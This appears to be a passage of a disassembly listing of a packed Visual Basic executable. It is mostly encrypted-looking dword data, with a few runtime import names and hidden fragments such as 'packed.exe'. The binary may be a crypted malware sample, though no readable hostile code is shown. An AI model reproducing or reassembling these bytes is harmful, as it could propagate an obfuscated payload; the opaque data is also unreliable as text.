		dd 0CB9AB84Eh, 78F4E60h, 19DABE67h, 747h, 0A94F7C00h, 84000004h
		dd 81A4BAD5h, 0EB17852Dh, 4F911775h, 41472ED6h,	0A48181F9h
		dd 4654C1A7h, 0D8D341C8h, 0E0581440h, 0D8FBF34Dh, 0DC898C97h
		dd 6AD5BB63h, 0F977F058h, 54C3A951h, 0EB69E24Ah, 395E97Dh
		dd 903118B8h, 0B92AAA5Fh, 21E5B79Eh, 2946FF05h,	0B72208ABh
		dd 27C42CA5h, 1A00A804h, 4F359DAFh, 0F16AD2E4h,	0A8639178h
		dd 0D22E3E37h, 5C04AC54h, 0F464A1EEh, 43F203ABh, 0C40044B0h
		dd 0BCD23B21h, 0E462DB54h, 0FF831976h, 8DF9DFB1h, 0C12F157Dh
		dd 5BD44DB5h, 0EB543AE2h, 76F46DD5h, 0D24026CEh, 0F76248C6h
		dd 0D54026E5h, 3CDB12C3h, 2890BC64h
		dd 7C33Eh, 9BB31B00h, 7D87F6DCh, 5D6BD8BEh, 394FB89Eh
		dd 162A947Ah, 0E0CEC757h, 0BDA36276h, 9C824151h, 7D63222Eh
		dd 0B7410012h, 6054A10Fh, 61FA911Dh, 0D6E85396h, 0A1E886Eh
		dd 339FAE4Bh, 58571D8Bh, 4EA911Dh, 690C8A96h, 166148F0h
		dd 105DCBD4h, 0B6850440h, 703A563Dh, 0FAE08806h, 16BE7D8Fh
		dd 1A88C130h, 850392CDh, 1981FA73h, 92B60371h, 0E35C8503h
		dd 9B06EC6Ah, 0A1842189h, 15BD650Dh, 2482162Eh,	0E8564EEAh
		dd 8503B39Bh, 0DC4AC841h, 8B10AB4Ch, 7157FF78h,	8D35F406h
		dd 82CF3DE5h, 287EF6BBh, 0BAF441AFh, 219A7EF6h,	0D252BDA3h
		dd 663E7EE4h, 218902DBh, 0CBDD13Bh, 957052DBh, 0FD2E1880h
		dd 0E1000006h, 0BCA26179h, 9E84434Dh, 7E642331h, 5A40FF15h
		dd 8D1DDCF0h, 283CA608h, 7178369h, 0E8F46248h, 0C6D84329h
		dd 67D57D07h, 911D611Ah, 9C5C27C0h, 394FB889h, 707EEBD1h
		dd 9D168F08h, 57F787F5h, 0AA23911Dh, 9FB11C02h,	7D8FFAE0h
		dd 0F9D57815h, 8C83E351h, 0D64F8B0Ah, 75E02225h, 5D47AF95h
		dd 698h, 7C6DE46h, 0E9A8B221h, 0C9889603h, 0A5647AE3h
		dd 824155BFh, 0A10BA3F2h, 7CE8CE8Dh, 59C7AD6Ch,	3DA88E4Dh
		dd 3AE26C2Bh, 1D617FCCh, 0C18C2591h, 6ED6E853h,	0F774E0C6h
		dd 9D057E88h, 55C0A624h, 6059A614h, 86FF8B10h, 9C32A50Dh
		dd 0A30FF586h, 0C42F1593h, 0B6240AB2h, 0E56D2CAAh, 19DABA05h
		dd 1325h, 0AB915A00h, 0EE49303Eh, 4C1A3476h, 553E28A6h
		dd 73000002h, 6ED6E853h, 0B65E72D1h, 1272270Eh,	94FC0E79h
		dd 4355341Bh, 67F765E3h, 93911DB8h, 0A755B1Ah, 34436E8Ah
		dd 16FC7574h, 0B61E97ADh, 7BE566D0h, 0B019FF67h, 0E9A8219Ah
		dd 2DD5F94Ch, 10850EBFh, 2391778Bh, 0B836AF17h,	0EF49C15h
		dd 2E991A3h, 9BED6935h,	5817950Dh, 8DF50772h, 0C1293DA7h
		dd 5AD0124h, 0FE269B97h, 48B49A84h, 9E17BA38h, 6961F0EDh
		dd 0FFE9518Fh, 5A4h, 0FBBAD23Ah, 0DD9CA615h, 0BD7C8AF7h
		dd 99586ED7h, 763549B3h, 95FFAFE6h, 70DCC281h, 4DBBA160h
		dd 319C8241h, 2ED6601Fh, 1D6273C0h, 0B5801991h,	6ED6E853h
		dd 0A30B1D88h, 0B9849A30h, 0F57D3C4Eh, 19DABA15h, 735h
		dd 364F6A00h, 84000001h, 25D6E853h, 0A189FC16h,	4549339Bh
		dd 99000005h, 745A1931h, 563CFB05h, 361CDBE9h, 12F8B7CDh
		dd 45D594A8h, 0E0F45E50h, 0BFCF3B21h, 0A0AC1A00h, 7E90FBE1h
		dd 1F8D35BFh, 911D63D2h, 5314DF78h, 886ED6E8h, 216EDC1Dh
		dd 0C78B1060h, 0EE087CE0h, 229BC79Dh, 38CE41A9h, 61E04B1Ah
		dd 0FA0875F8h, 38A01992h, 16C0BC51h, 249D874Bh,	8264ECABh
		dd 0A419DA96h, 21h, 0B74FD9h, 91840000h, 59C23FABh, 0E962DB43h
		dd 1E6BD981h, 0C48B1060h, 6A54D24Bh, 9Dh, 25899C9Fh, 1A67D57Dh
		dd 0C08B1060h, 0B321C947h, 911D5923h, 0D16ED64Fh, 48B65E72h
		dd 8B0A81F8h, 117A2BA4h, 3A9575E7h, 48EE8D2h, 0E8500000h
		dd 0BC2B11D0h, 0A00DF3B2h, 84EDD392h, 5FC9AF6Eh, 99FC8C4Bh
		dd 0D897AB15h, 0B77686F2h, 985763D1h, 763547B2h, 89D644ECh
		dd 2F911D63h, 899CCB96h, 0C53E4AB8h, 0ABA8AF1Dh, 49C29117h
		dd 404EBBA1h, 0CA45B298h, 58D64F5Dh, 15DB2B99h,	0D9448509h
		dd 8CA02659h, 37C7F44h,	0E3F15E44h, 42A917Bh, 3E90000h
		dd 0A0AA1998h, 0C846BF27h, 25899CFDh, 597F0F7Dh, 32AB911Dh
		dd 0B21E2DCAh, 834C9C0Ah, 7FF88B0Ah, 75E873CEh,	3E289095h
		dd 3FCh, 0A3627AE2h, 85444EBDh,	6524329Fh, 4100167Fh, 1EDDF15Bh
		dd 3DA7078Eh, 18846A29h, 0F5634908h, 0D9442AE9h, 0D67E08C7h
		dd 1D641B68h, 5D28C191h, 0CCB7899Ch, 5E93EE34h,	3541AF95h
		dd 1AA614BCh, 3E911DACh, 0CC371DC5h, 0AA15FBBAh, 0B0933098h
		dd 5ECC741Ch, 8503BA11h, 18C03EB7h, 10B1ADAAh, 923AB38Bh
		dd 872F41ACh, 0BB2337A1h, 1F05C442h, 14FAA2B4h,	0A9BF28ABh
		dd 0D14FC841h, 2679CC69h, 0F6C36BB8h, 1F98117Eh, 0F3190977h
		dd 1A0084FDh, 7E219FADh, 0B61E2A98h, 9E13C43Dh,	538F692Fh
		dd 35601EBh, 20880000h,	0F4634908h, 0D8452BEAh,	0BC250BCAh
		dd 9701E7A6h, 6134C483h, 10CFE34Dh, 0EFAEBE2Ah,	0D08F9B09h
		dd 0AE6D7FEAh, 0C10E7C24h, 67911D65h, 0E85303CEh, 1D886ED6h
		dd 9CAF4C0Bh, 0DA1A8830h, 61911762h, 5DFE4BB9h,	2BA48509h
		dd 29910AADh, 95E6ABBh,	6AC85E85h, 2244A939h, 4279E0h
		dd 0EBD10000h, 58C66E80h, 8509660Bh, 0EFBA38B1h, 7D25899Ch
		dd 176E230Fh, 0E68E0791h, 1C849400h, 451B2535h,	6DE6DF3Ah
		dd 42F28086h, 76F4D94Ch, 0B94FA00Eh, 0AD438508h, 0E7422491h
		dd 964E022h, 99000001h,	6ED6E853h, 620A1E88h, 96FE127Ch
		dd 603380EEh, 60D98B10h, 1B0169E7h, 0CC3F30B0h,	60010353h
		dd 0F16AE3F5h, 91FBE189h, 0B59C157Dh, 0D54C332Eh, 2F15938Ch
		dd 4BF3B2C4h, 85E835A3h, 158E8B10h, 8AAA2997h, 0C8AF8B10h
		dd 0F8ECB0A6h, 8C72F03Dh, 2438A221h, 171C03ABh,	147B0388h
		dd 0B53E737h, 0BA333EFDh, 0F35B65D4h, 953DFC7Ah, 940245AFh
		dd 8B115547h, 93FB74EDh, 0B704721Ah, 5D8B1155h,	158066E4h
		dd 2FFE9B03h, 0C56DDB83h, 21911878h, 0F94CE9A8h, 0F0A8B67h
		dd 37DFE2A1h, 9B07CC9h,	30A92285h, 5BD81A88h, 0EF688B13h
		dd 0E3F76147h, 0C0D43E24h, 79A0C80Fh, 0FBE54D95h, 1F4h
		dd 0AB6A82EAh, 8D4C56C5h, 6D2C3AA7h, 49081E87h,	26E5F963h
		dd 45AFFF96h, 208C7231h, 0FD6B5110h, 0E14C32F1h, 0DE8610CFh
		dd 1D662370h, 6530C991h, 16D5E953h, 0D946C530h,	7DE5EF5Eh
		dd 0AA238B04h, 36A38931h, 20EBAA28h, 7D25899Ch,	485EFD5h
		dd 0A7208898h, 0CF4DC62Eh, 176D7561h, 46E5491h,	8DDA48F0h
		dd 33850952h, 0B3993CBAh, 56BE3747h, 95297E8h, 59F58B85h
		dd 224C9A6Ch, 72DFC5E0h, 583FC64h, 0BD44h, 0AB917900h
		dd 69EC040h, 0A086D8D4h, 0C4117F27h, 6A8B10FBh,	228D73F1h
		dd 58C2A810h, 0EF6EDC44h, 0B68B10FFh, 0AB91394Bh, 0F2B12F3Fh
		dd 0E8F8644Ah, 719846Ah, 8F23029Fh, 29973FE7h, 8B10F6DCh
		dd 1D8B0982h, 91181A75h, 0F19958D1h, 198E510Ah,	0E756646Dh
		dd 49E664DDh, 0C02ED6FAh, 8B13561Fh, 664CF46Dh,	5A40E8FCh
		dd 0FE77DFEDh, 71DBC180h, 0A16BAC5Dh, 68D09579h, 0EF7Eh
		dd 6F87EF00h, 515BCAB0h, 313FAC92h, 0D238C72h, 0EAFE684Eh
		dd 0B4FA9B2Bh, 9177364Ah, 70561525h, 5137F602h,	8B15D4E6h
		dd 672875E3h, 35CE911Dh, 40AB916Ah, 60CAB02Eh, 0EC6571DFh
		dd 0CADC472Dh, 0E853400Bh, 27472ED6h, 1E9B6B3Eh, 10F10A27h
		dd 31AA4666h, 0FA654BB3h, 0B98C29E8h, 7BFF6D15h, 8A911DC4h
		dd 0D22774E2h, 7F898503h, 0F2C8436Bh, 0D654CD70h, 0AA52BA33h
		dd 3646FCC3h, 9C8215F6h, 0BCA22030h, 0EF973F51h, 3EC3481h
		dd 0E361DA85h, 0C1D33E24h, 30D63219h, 1CDE8EECh, 0A9907238h
		dd 7C627AEEh, 1D96FE12h, 2FC9379Fh, 85D1E709h, 990453EFh
		dd 77E2C887h, 0AE17FD65h, 0A809F098h, 135F7259h, 0B583EB69h
		dd 0C934031Fh, 7EABC49h, 0D6A38A9Ch, 785B42A3h,	4B3FE222h
		dd 0BF1B029h, 3C268EA0h, 8, 3117BF71h, 6F3AB8C2h, 6BD3EB53h
		dd 0A0081A85h, 0D8404CBAh, 0E7686F2h, 42AABE28h, 76DEF25Ch
		dd 0A9112790h, 0E04856C3h, 19818BFAh, 0E78957B3h, 4C781h
		dd 0EF830000h, 243C3304h, 33243C31h
		dd 525C243Ch, 0C281E289h, 4, 4EA81h, 14870000h,	3C895C24h
		dd 2AE06824h, 2C890000h, 31CE6824h, 0C890000h, 0F96CB924h
		dd 0CF89060Ch, 3C946859h, 24890000h, 24048124h,	4, 0BD55525Dh
		dd 435B19E1h, 5B19E9BAh, 5DEA3143h, 3A89EA01h, 2434FF5Ah
		dd 4C4815Dh, 0FF000000h, 815F2434h, 4C4h, 3AC6E900h, 5608FFFBh
		dd 4535D941h, 0D08B0B8h, 0FFC50306h, 0E18D58E0h, 5AA9E811h
		dd 4494654Dh, 0DA59115Bh, 0B9CF031Bh, 40284A00h, 52508744h
		dd 0C8761864h, 112BAA6Fh, 6DDE293Dh, 0E3988C48h, 0C6D68B38h
		dd 0C5817B60h, 0F6BC763Ch, 1B05DE0Dh, 0F1190A4Dh, 99EBFC74h
		dd 553A9716h, 99DA4424h, 9850D52Ch, 4658C034h, 0BF027B59h
		dd 0C19F5559h, 9E80Dh, 0E0810000h, 24A622E3h, 66E92DE6h
		dd 5F1E40BBh, 815DEF80h, 68D7C7h, 0B8D78B00h, 7340AB15h
		dd 910BE881h, 12E97340h, 57000000h, 58B09276h, 0C88370F4h
		dd 2A73B43Ah, 22C57A3h,	800F8BD6h, 0E981D3EAh, 30407F4Ch
		dd 0D38B6652h, 0FC1815Ah, 81108292h, 0C3E090DAh, 38E98135h
		dd 0E971993Eh, 0Eh, 0D5EEB148h,	0F79888F2h, 0D876BD4Dh
		dd 8F5153BDh, 82E38107h, 835246A9h, 0D1BB02EFh,	4F308609h
		dd 815A534Fh, 1E8h, 14850F00h, 0F000000h, 1AE9D2BFh, 4B000000h
		dd 79AA48ECh, 1933E23h,	666E764Bh, 8EE9D78Bh, 0D9FFFFFFh
		dd 3B3AC915h, 15CE99Fh,	5C50000h, 3A4377E7h, 755F6D5Ch
		dd 6361706Eh, 72656Bh, 6B636170h, 652E6465h, 6578h, 3Ah	dup(0)
		db    0
		align 2
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		dw 5742h
		dd 0CFE90E98h, 6800001Ch, 60D0DB1h, 0FA70C0E9h,	0EDE68FFh
		dd 0B6E9060Dh, 68FFFA70h, 60D0FF2h, 0FA70ACE9h,	10BB68FFh
		dd 0A2E9060Dh, 68FFFA70h, 60D10FAh, 0FA7098E9h,	120A68FFh
		dd 8EE9060Dh, 68FFFA70h, 60D1266h, 0FA7084E9h, 12BE68FFh
		dd 7AE9060Dh, 68FFFA70h, 60D19EEh, 0FA7070E9h, 1AC068FFh
		dd 66E9060Dh, 68FFFA70h, 60D1B6Dh, 0FA705CE9h, 1C9A68FFh
		dd 52E9060Dh, 68FFFA70h, 60D1D10h, 0FA7048E9h, 1E0D68FFh
		dd 3EE9060Dh, 68FFFA70h, 60D1EA4h, 0FA7034E9h, 1F4A68FFh
		dd 2AE9060Dh, 68FFFA70h, 60D2583h, 0FA7020E9h, 269368FFh
		dd 16E9060Dh, 68FFFA70h, 60D2718h, 0FA700CE9h, 6A653FFh
		dd 0C9A5CBAh, 139962C0h, 1FBD69C7h, 22AE75D3h, 92CBECD6h
		dd 9BF945CBh, 9FFD49D3h, 0A1FF4BD9h, 930652DEh,	6BEA4918h
		dd 9473F001h, 8C18DBB0h, 2CB87BD9h, 92A2EEB1h, 7E3008F5h
		dd 318D7CC8h, 7E41BC37h, 0D68F99C4h, 6F3EF43Bh,	0FC131831h
		dd 26C087E5h, 0D222D563h, 0A2F2CC82h, 171120EFh, 34D7F00Bh
		dd 0D3EFB21Ah, 4F6CC29Eh, 1ADC7C32h, 5A99CA98h,	2Ah, 0F4744A76h
		dd 0C2FFE79h, 51F60C67h, 1D04B01h, 0FC137593h, 3A09BC0Ch
		dd 0F00B6AF7h, 0A7F44EF1h, 99CA3BE5h, 0EF25h, 18DB4100h
		dd 0B47BD98Ch, 5C1F7D30h, 35F755D0h, 0FF4FED99h, 9346FC4Ch
		dd 5EF2BA18h, 9BC0CB2h,	0E2A503B9h, 318F0A56h, 6231E785h
		dd 0F60C6C6Bh, 35E17D40h, 51CC4797h, 0C63B382h,	0A65CACF6h
		dd 0AB39FC5Ah, 5D1F7DF8h, 942A19CFh, 63DE59D4h,	0C63A194h
		dd 0B86EBEF6h, 139C93E9h, 31ACFCFCh, 8E5D0CD3h,	0F00B53AFh
		dd 5D1060B0h, 1C0B570Dh, 7C4BC6A2h, 0FA1126DDh,	3D00CF4Ah
		dd 22F602F9h, 0A90782D2h, 0B4125EE2h, 0A40867EDh, 0C2B4CC11h
		dd 1A23B90Fh, 0DF8C0000h, 0D193F13Dh, 0D099F743h, 0F6A2004Ch
		dd 0E7AE0C58h, 2230D59h, 327E02C9h, 36820CD4h, 388412D8h
		dd 3D8917DAh, 0BD804FCAh, 0A2F0016Ah, 43BEDFC3h, 0C67C174h
		dd 0A9E5B5F6h, 95D275B0h, 57B56BBBh, 99689190h,	0F1AC0F2Bh
		dd 34F755A1h, 956A2DA8h, 5BCCE6BDh, 5438843Ah, 0C9A60BEh
		dd 0CA669659h, 0F14D0B31h, 0C2FCEBA1h, 0EDB02BA6h, 15834790h
		dd 0A66DCBF2h, 6117671Ah, 13BB0292h, 0D99CFAFCh, 6BBB954Bh
		dd 41CF92F0h, 34E03E8Eh, 0D187D78Ah, 0A4E04F1Eh, 2EF1F00Bh
		dd 0CF91EFA2h, 0E03E8E41h, 44D88B19h, 14A89A1h,	0E7AD0B86h
		dd 0A4AB8A59h, 64B4F00Bh, 64330BAEh, 99CAF1A2h,	0A3E2h
		dd 18DBFE00h, 7A2DBB7Eh, 0C927DA2Ah, 0FCCB7E02h, 0F60C6C81h
		dd 9E19A76Ah, 35EB7940h, 3CC88BE9h, 44249A89h, 9CE2FAC9h
		dd 4CAAFC13h, 0B584FF85h, 0F00B5386h, 0F7D187D7h, 526C5BA7h
		dd 5D209B16h, 0BF35DEE2h, 0C08F4557h, 0FA116A0Ah, 0C130BCEh
		dd 14D94E42h, 0B934845Eh, 0C410945Bh, 0B2119F66h, 0B4CC2C04h
		dd 0F601570Ah, 0B9000018h, 0C624700Ch, 0CC2A7604h, 0CF2D7903h
		dd 0CF2D7923h, 46307C08h, 971DE425h, 9F25ED4Bh,	0A12FF553h
		dd 0A834F755h, 9F6EE95Ch, 0F001699Ch, 0DBFEE2C1h, 0E6449014h
		dd 65499523h, 0D98C18DBh, 0AB39005Eh, 50EE9AF8h, 47FD4D9Dh
		dd 4E9A26E9h, 0FDE5F5Fh, 0F60C672Ch, 1691E131h,	13895947h
		dd 37ECEFCh, 127BC540h,	0E99F9C6Bh, 0FDD86736h,	7B1EF00Bh
		dd 0C512D4A3h, 0C5299CAh, 6E000001h, 0C17443BEh, 9EF60C67h
		dd 4FDF984Eh, 66E18737h, 137D4597h, 0B67CDAFCh,	64D311BDh
		dd 21716EF1h, 19CE1E6Eh, 0A022D94Ah, 8B0681CCh,	91ED79BCh
		dd 0C796E624h, 2491ED74h, 0F4E399E9h, 54239ECAh, 2E8E0EA8h
		dd 0CF78A164h, 4A0D9760h, 5A10E26Ah, 57B53080h,	9F520894h
		dd 0DF5A0EB0h, 0C6A69564h, 67B72296h, 627815A4h, 0C076B9F0h
		dd 28D77645h, 0D828288Ch, 2013E25Dh, 3D249CE7h,	5EBC37EDh
		dd 46C10D9Bh, 0E29826E8h, 0D433C184h, 0E24A2FECh, 0E299EFA2h
		dd 0CD000017h, 0D2307C20h, 0D8368210h, 0DB39850Fh, 0E3418D2Fh
		dd 624C981Ch, 0B3410841h, 0BB410967h, 0C54B116Fh, 0CC581B79h
		dd 0C3920D80h, 0F0016870h, 0BE2A0EEDh, 67C17443h, 4E9EF60Ch
		dd 0DB773A98h, 30B67C12h, 2ADD2D7Dh, 940F8ADAh,	0C6776C5h
		dd 0E197E7F6h, 0E97F3F2Eh, 0CF95F36Eh, 883E8E41h, 1389D7B9h
		dd 377D40FCh, 33100A5Dh, 11E24F43h, 6268A44Eh, 80E2C612h
		dd 0C1894CF0h, 25C99471h, 6A5443F9h, 622583FEh,	1DD323D6h
		dd 7981D3A2h, 0CE1EFC13h, 73FD4A19h, 8D317B32h,	87E560DBh
		dd 318134C0h, 6FC0AC7Bh, 0DD2D7D3Ch, 0E5833B2Ah, 2F889B6Ah
		dd 0A5F57B3Eh, 7B09CC2Ah, 820ED12Fh, 0B828A723h, 76CC7F33h
		dd 1719h, 0F743E996h, 0FD49D799h, 24ED69Fh, 0A56F8A4h
		dd 135FE5ACh, 8CF0829h,	0AD2307Ch, 14DA3884h, 21E4428Eh
		dd 59D44793h, 177AB8Ah,	0F1D5B4F0h, 2D8C18DBh, 0B4DAAFA7h
		dd 0DA5AB063h, 0D5000016h, 0DA388428h, 0E03E8A18h, 0E3418D17h
		dd 0EB499537h, 6A54A024h, 0BB491049h, 0C349116Fh, 0CD531977h
		dd 0D4602381h, 0CB9A1588h, 0F0017768h, 0BE3216F5h, 0B6B667FBh
		dd 0FAB09C5Ah, 984BD99Ch, 25E015A9h, 0C2337275h, 2AB679D7h
		dd 5CD72777h, 4A123799h, 2BE1291Dh, 93F7E1B0h, 0D020FC13h
		dd 0A62EF755h, 45F88648h, 78F33FF5h, 6C0F2EFDh,	9CCF00Bh
		dd 4EDEA17Bh, 0E5E99A5h, 0E59E54A4h, 0F6724C64h, 0CE5A1D7Bh
		dd 8ECE9D18h, 0FFA14D7h, 588144BFh, 27021B2Ch, 0CE9D5208h
		dd 92B564DDh, 0E5ADAD11h, 9BD66534h, 37876AA4h,	94E434E7h
		dd 79409E19h, 3D8D1BDDh, 0B5843A8Ah, 60BB78CFh,	635047Fh
		dd 0D36CA387h, 5DAD870Dh, 0CA7DCDA7h, 0A85E3DBh, 0A85BE9ACh
		dd 5827A258h, 66B938F5h, 0FB894BA9h, 9927EA48h,	904696E6h
		dd 8DEB66B6h, 0D883ECAh, 1460ECAFh, 11F2F3B6h, 0F2F6022Dh
		dd 9A4DDB9Eh, 4BAAFA4Ah, 18350393h, 0CA42984Bh,	0E5000015h
		dd 0EA489438h, 0F04E9A28h, 0F3519D27h, 0FB59A547h, 7A64B034h
		dd 0CB592059h, 0D359217Fh, 0DD632987h, 0E4703391h, 0DBAA2598h
		dd 0F0017558h, 6A422605h, 0F60C67CBh, 0C77909Fh, 6761D0F6h
		dd 9255F60Ch, 6AAA6CE9h, 0BDA90ABh, 0F60CF224h,	0FF5EEAADh
		dd 0B4DA1AE9h, 6E74CA7Dh, 41000015h, 4EACF894h,	54B2FE8Ch
		dd 57B5018Bh, 57B501ABh, 0CEB80490h, 1FA56CADh,	27AD75D3h
		dd 29B77DDBh, 30BC7FDDh, 27F671E4h, 0F0017514h,	0BE866A49h
		dd 67C17443h, 4E9EF60Ch, 0E015A998h, 20BA37ADh,	1B96E68Bh
		dd 1348044Ch, 0E24191FCh, 0AED39010h, 16ED43F6h, 99000015h
		dd 0A60450ECh, 0AC0A56E4h, 0AF0D59E3h, 0AF0D5903h, 26105CE8h
		dd 77FDC405h, 7F05CD2Bh, 810FD533h, 8814D735h, 7F4EC93Ch
		dd 0F00175BCh, 0DBDEC2A1h, 0A3926118h, 0D3F60C67h, 2055F902h
		dd 910CE6FAh, 0C5173C2h, 4C9CECF6h, 28EB49FCh, 1C3219Ch
		dd 0BA70C073h, 0B58D3007h, 0C36124E6h, 266493h,	6A800000h
		dd 0F60C67C7h, 6FBB490Ch, 67DD7FA0h, 7B2EF6h, 1287B685h
		dd 88D8F657h, 14937CD2h, 0A3010000h, 0B79B51DBh, 0AB460BEh
		dd 0A533F654h, 0ADBB03F2h, 0FEF4B732h, 0BA4911D3h, 10613F0Ch
		dd 0EE3E737Ch, 9AA76938h, 75F0FC13h, 0B4597A6h,	2878C8F0h
		dd 3B0361DCh, 0B20CFBB1h, 5C6C3BB6h, 0A9FA14B7h, 7F48A659h
		dd 6838FBCAh, 0D525F60Ch, 68A88B5Ah, 65B5F60Ch,	763C9A15h
		dd 1FEE3AF0h, 0F60C6811h, 0D85B2AA5h, 1F60C68h,	8DDDB755h
		dd 29DF6D2Fh
		dd 2F7B09CBh, 0D40E0FD1h, 83C87FC3h, 0A1FFB202h, 0DC9E51DFh
		dd 12D4E139h, 0C8DA8511h, 0B174EAB6h, 30735620h, 782D21Ah
		dd 0A85BE1A9h, 0DB56A258h, 33A29160h, 6BBBF60Ch, 835315B5h
		dd 0E59393C3h, 0AF000001h, 79F4744Ah, 136A8EAAh, 0ECBB36FCh
		dd 0F00B6449h, 3610C616h, 5AB833E6h, 0D5D10AEh,	0A937F957h
		dd 51E4B32Eh, 0EF00B64h, 5EBC08BEh, 0B03E009Ch,	53DEAD60h
		dd 1F00B74h, 37F9C45Eh,	84E25DA9h, 0DA682ABEh, 0D187D727h
		dd 118CDCE2h, 1491B242h, 4B682BFAh, 6705B1FEh, 0AEA164B4h
		dd 31E434AAh, 0D880CD3h, 0AB5EE6AFh, 0AB51FD5Bh, 0B32EA9F5h
		dd 0CF251E4h, 8BE0EF6h,	0AA5DE3AAh, 0C3B56C2Fh,	5B9BA7E2h
		dd 7E2211E0h, 0EB3BF60Ch, 7ED56635h, 0E88BF60Ch, 0C9A3664Eh
		dd 5178CC68h, 4CB773Ah,	79E7B5CAh, 129E65C3h, 25ED4BC6h
		dd 0E69CEC9Fh, 8538C688h, 0E9AC6527h, 0D4AB9558h, 0D4673658h
		dd 89F60C70h, 106EE939h, 6806B24Eh, 621565B5h, 0E7A95C12h
		dd 1DDFEA44h, 0E131BF81h, 4633F595h, 7B93C3h, 8453D9A2h
		dd 0F60C44B1h, 25A85EAEh, 39h, 864CAAh,	9C52E0A2h, 9014DBB8h
		dd 2CB87FDDh, 3A14B779h, 6AE9E8AFh, 41DA9D1Bh, 191726F5h
		dd 0F848F60Ch, 6C0C58A8h, 93C3ACAAh, 41CB94F2h,	5883E8Eh
		dd 0B8h, 0F4744A21h, 0F4A0FE79h, 8BC5944Ah, 0FCFC1386h
		dd 0D99BF9ACh, 0DFA1FF4Bh, 7E409E51h, 0D87B3DF0h, 35F8567Eh
		dd 0D193F1A7h, 9557F743h, 0D599CA4Ch, 77h, 0FA8E4AF1h
		dd 635047Fh, 0D3F60C67h, 5EAE880Ch, 6F5E2DA8h, 0D0F60C68h
		dd 0F12BA60Dh, 14BBF9D8h, 0C141639Eh, 742777C7h, 0D8D99BF9h
		dd 0D51C17FBh, 12C515D2h, 0F23D0CC2h, 0A9F60CA8h, 51E4B32Eh
		dd 0EF60CA6h, 0CD6508BEh, 25F4696Fh, 0F60CA616h, 2CA7F747h
		dd 0CA96E5Dh, 24D02EF6h, 0D30FF7Ah, 52F60CA6h, 0F7724C02h
		dd 0CA61528h, 0AAFA4AF6h, 0E085Eh, 0BE240000h, 590C9A60h
		dd 2EFD5309h, 19000000h, 0D78A12DBh, 0DD29B779h, 7C2FBD7Fh
		dd 873A2C8Dh, 0C678AB8h, 75CD70F6h, 0C32E6426h,	0CBFA493h
		dd 0CB290000h, 60228004h, 19CF1FD2h, 0E543BE35h, 8EDE911Fh
		dd 0C677CBFh, 0CE91E1F6h, 59CDB27Ah, 7A691FE7h,	0A574273Fh
		dd 7FB7591Dh, 0BDCA6407h, 1D6F1BFBh, 503Bh, 6F4A5700h
		dd 86017CF7h, 24D76528h, 673605D4h, 0C927F60Ch,	78C87B01h
		dd 90A37228h, 0CDF60C67h, 0E2A4027Dh, 9B51A154h, 357C19E8h
		dd 93369F80h, 0E94E11BBh, 919B1AD5h, 264A64ECh,	0DC677863h
		dd 8BDB8E30h, 23E5853Bh, 633D3675h, 29Ah, 0F76F4A7Fh, 0DBC2A613h
		dd 0BEA88C18h, 91A4F6FBh, 0C8473C2h, 0D99CECF6h, 7A301EAAh
		dd 0E799E1C5h, 2796C322h, 4Ah, 0F76F4A43h, 41EFBE13h, 16F60C67h
		dd 43BEE2C6h, 0E4971DE5h, 6776C594h, 97E7F60Ch,	3CEF8D39h
		dd 0D7BB36ECh, 0B37C12DBh, 5ED929h, 602FAA54h, 0F60C67DDh
		dd 987C3282h, 0C9A60BEh, 0E3AB0959h, 16FAA359h,	3FE3h
		dd 6F4AFF00h, 0EFBE13F7h, 0F60C6741h, 0C54F1775h, 60169E67h
		dd 682BA6F6h, 2F340CE3h, 391DD373h, 1FE543BEh, 9463DE91h
		dd 0F60C67A1h, 681E6EBEh, 8A12DB84h, 72FBBEA6h,	9B5AC5B9h
		dd 0CDB15A10h, 238C586Ah, 0CA561DFCh, 0CF5D207Eh, 0A12FF654h
		dd 3FCD90EEh, 48A639EFh, 1A78F381h, 6DFBBD51h, 430C6A1Dh
		dd 490B69B9h, 0F17205BBh, 92CFB76h, 56F01B43h, 95AD5006h
		dd 42F78548h, 6BF604C7h, 7D44139h, 0A430F351h, 0D4885811h
		dd 8BC99659h, 433003D2h, 0DD2DF01Bh, 75D5711Ah,	0B7021CBFh
		dd 55B368F4h, 2D8B0692h, 9629DF65h, 6DFBBD1Bh, 8F9259B7h
		dd 0F01BACA1h, 52D366B6h, 874A97AFh, 1FE644F9h,	563DE91h
		dd 0A503B642h, 500656E2h, 8249D097h, 24ED4BFEh,	0F444CA92h
		dd 42DC7F41h, 20FA9D85h, 0F642CE95h, 0B447D598h, 0BE828F56h
		dd 6F01BACh, 0A258E6A8h, 48E578C8h, 7D408DA5h, 0FCBF3AEFh
		dd 66E46093h, 8661C2Fh,	6B24B745h, 524B1198h, 0AFC1FA8Eh
		dd 72257502h, 11C45214h, 8340DA7Dh, 2EBB9336h, 0CA28DD6Bh
		dd 88E67907h, 1FA033C1h, 5417A27Ch, 0DB2F13C8h,	0A6A88C18h
		dd 0C89B682Bh, 5CAF2DCh, 2A9063C5h, 0CA80D0C4h,	878E4AE6h
		dd 845B9B1Ch, 0CC430691h, 57260B7Ch, 3E017CCCh,	0AD14E86h
		dd 63E9B25Ch, 5A1060B0h, 68FBBE76h, 0F704B797h,	0D81CB593h
		dd 0A2F2BE58h, 0BE5337ECh, 540AB460h, 0C32302B4h, 29EC4A96h
		dd 0E298E89Bh, 605Fh, 60BE7B00h, 0A5A0D97h, 0EA736554h
		dd 0C67181Bh, 0B8245F6h, 6BB34C13h, 3CB70757h, 0D98C32DEh
		dd 0BEEFD389h, 0C6741EFh, 2BFA75F6h, 0F60C6708h, 65869255h
		dd 5B6595C9h, 2B7B550Bh, 48A52B0h, 674B0151h, 19DBDABEh
		dd 0C695108Bh, 0F60C6777h, 0FEE298E8h, 60BEAC90h, 3590F9Dh
		dd 26h,	0FA8E4A1Fh, 41EFBE16h, 86F60C67h, 2C96528h, 0FADE2E7Eh
		dd 0C9A60BEh, 0AA5DEBAEh, 4529A45Ah, 0A78B19DBh, 456AAC90h
		dd 38F60C76h, 0FFFCECE2h, 0C76AFEFFh, 7BF60C67h, 61DC283Eh
		dd 5D260A9Eh, 0CB81CD03h, 6D20A46Dh, 59A32FF2h,	0D703B4F2h
		dd 6528F762h, 19E87455h, 0F60C4C1Ah, 45A3F343h,	0EF3FF27Eh
		dd 4CCB6A39h, 37DAF60Ch, 1009D21Fh, 0CCBF8998h,	0C33E8E6Eh
